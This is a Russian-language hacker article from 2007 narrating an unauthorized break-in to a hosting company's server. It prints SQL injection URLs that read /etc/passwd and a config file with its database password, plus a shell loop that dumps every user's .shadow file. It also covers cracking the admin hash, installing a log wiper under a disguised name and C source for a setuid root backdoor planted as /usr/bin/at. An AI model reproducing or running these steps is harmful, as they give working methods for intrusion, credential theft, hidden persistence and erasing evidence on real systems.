Название : От sql-injection до root'a
Автор : p-range - AltST
Дата : 5.03.2007
В данной статье я хочу рассказать как я получил нулевые права на одном зарубежном хостинговом сервере.
[Небольшая предыстория]
Как обычно, вечером, я гулял по просторам интернета. Серфил по разным сайтам, и тут наткнулся на один очень интересный сайтец. Это был сайт какого-то зарубежного хостера. Назовем его dhoster.com. Я заметил, что движок самописный и довольно сложный. Очень много функций и скриптов. И как всегда, (это уже наверное вошло в привычку

, начал подставлять кривые значения в переменные скриптов, пытаясь найти ошибку.
[Первая зацепка]
Но спустя некоторое время, так ничего и не найдя, я решил покопать глубже. Начал просматривать исходники страниц. И не зря, в сорцах главной страницы меня привлек код на JavaScript примерно следующего содержания:
Код:
<script language='JavaScript' type='text/javascript'>
function openWin(pid)
{
myWin = open("inc/photo.php?pid="+pid, "displayWindow", "width=40,height=30,status=no,toolbar=no,menubar=no");
}
</script>
Я сразу обратил внимание на строчку "inc/photo.php?pid="+pid и поспешил перейти по адресу http://dhoster.com/inc/photo.php?pid='. Как я и думал, скрипт выплюнул мне ошибку MySQL:
Fatal error: Call to undefined function: mysql_error() in /home/dhoster/public_html/inc/photo.php on line 29
Теперь я начал подбирать правильный запрос к базе данных. В итоге получил строчку такого вида:
http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,3,4,5/*
К сожалению попытка подобрать название таблицы так ни к чему и не привела. Из идеи просмотреть таблицу mysql.user тоже ничего не вышло.
Но тут я решил попробовать прочесть файл /etc/passwd через функцию LOAD_FILE(). К моему удивлению, это сработало, и на странице я увидел содержимое с логинами пользователей сервера.
Так как я знал полный путь до директории с сайтом, то решил попытаться найти файл конфигурации от движка. Мне повезло, и я сразу нашел его

В итоге перешел по такому УРЛ:
http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,LOAD_FILE('/home/dhoster/public_html/inc/config.php'),4,5/*
и увидел содержимое config.php
Код:
<?php
$dbhost = 'localhost';
$dbuser = 'dhoster';
$dbpass = 'gfGFd.uhL';
$dbname = 'engine';
?>
[Осматриваемся на сервере]
Я поспешил зайти под текущим логином и паролем на SSH. Как ни странно, пароль подошел
Я начал осматриваться в системе. Сервер крутился на линуксе. Ядро свежее, поэтому поднять свои права в системе с помощью эксплоитов я не мог. Я думал, что делать дальше. Просмотрел содержимое каталога пользователя dhoster, но ничего интересного там не нашел, точнее сначала не заметил.
Я обратил внимание на файл .shadow, лежащий в корне директории пользователя. Выполнив команду cat .shadow, я увидел хэш пароля от ssh моего пользователя.
Предположив, что такие файлы лежат в корневой директории каждого пользователя, я решил попробовать их прочесть. Но для начала решил поискать хистори-файлы на сервере. Для этого выполнил команду на поиск:
find / -type f -name *_history -ls
Просмотрев результаты, я не нашел ничего, что бы могло мне помочь в поднятии прав. Директория /home, где лежали все сайты, которые хостились на этом сервере, была закрыта для чтения.
И тут в моей голове промелькнула одна очень интересная идея. Я вспомнил об одной фиче, позволяющей обходить запрет на чтение файлов из /home.
[Повышаем права]
for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/.shadow; done|more
Ее суть заключается в том, чтобы прочесть с помощью утилиты cat файл /etc/passwd, далее с помощью awk выбрать из него логины в цикл и подставлять как user/.shadow, прочесть его и вывести на экран в постраничном режиме, о чем говорит done|more.
Разумеется, злоумышленники могут читать не только .shadow, но и .htaccess, index.php, а затем уже и includes/config.php и другие файлы с более-менее стандартными именами. Потом, в результате сканирования файлов по ключевым словам, в чужие руки попадают учетные записи. Далее остается только найти подходящее приложение для закачки скрипта.
К примеру, если это CMS, php-шаблоны которой можно править через WEB интерфейс, а исполняемым скриптам позволено что-то закачивать на сервер, то остальное лишь дело техники.
Думаю смысл ясен. Выполнив эту команду, я получил доступ ко всем файлам .shadow в директории /home. Среди них и оказался файл /home/admin/.shadow.
Мне повезло, так как у меня были права на чтение этих файлов. Получив хэш админа, я скормил его джону. Пароль, как оказалось, был не очень сложным, и получив его я поспешил залогиниться под юзером admin.
Подключившись на 22-й порт сервера dhoster.com, я ввел имя пользователя admin и пароль password. Система сообщила мне об удачном входе, и я, убедившись что мои права нулевые, принялся за работу.
[Ставим логвайпер]
Естесственно, теперь мне нужно было позаботиться о том, чтобы админ не смог вычислить что я находился в его системе.
Решено было поставить логвайпер wipe. На мой взгляд неплохой, так как умеет чистить UTMP, WTMP, lastlogs и ACCT файлы.
Слил архив с wipe (http://packetstormsecurity.org/UNIX/penetration/log-wipers/wipe-1.00.tgz) и распаковал в каталог /home/admin/l/. Затем выполнил команду на установку: make linux.
Получив бинарник wipe, скопировал его в /usr/bin/telnef. Папку l/ я потер, дабы не вызывать лишних подозрений. Логвайпер готов к использованию
[Закрепляемся в системе]
Теперь передо мной стояла задача, закрепиться в системе. Я не стал использовать публичные руткиты, ибо админ его спалит при первой же проверке chrootkit'ом. Я написал простенький бэкдор.
Исходный код at.c
Код:
main()
{
setuid(0);
setgid(0);
system("/usr/bin/telnef l admin");
system("/usr/bin/telnef w admin");
system("/usr/bin/telnef u admin");
system("/usr/bin/telnef a admin");
system("/bin/bash");
}
Скомпилировав сорцы в бинарник at, я переместил его в /usr/bin/at и поставил на него суид. Теперь получить рутовые права в системе я мог из любого юзера, запустив /usr/bin/at
Что он делает, думаю, понятно. Бинарник берет рутовые права, затем запускает логвайпер, который я уже установил и бэкдорит тачку.
[Заметаем следы]
Теперь осталось лишь подчистить следы моего пребывания в системе:
[admin@server admin]# /usr/bin/telnef l admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef w admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef u admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef a admin
Patching... Done.
[Заключение]
Если администраторы вашего хостинга считают, что из директории другого клиента, права на которую установлены в "r-x--x--x", нельзя читать файлы, то они заблуждаются. Если они считают, что запрет на чтение, к примеру, "/home", помешает узнать список домашних директорий, то они не знают элементарных вещей.
На сегодня все
P.S. А как все невинно начиналось...
(с) p-range :: AltST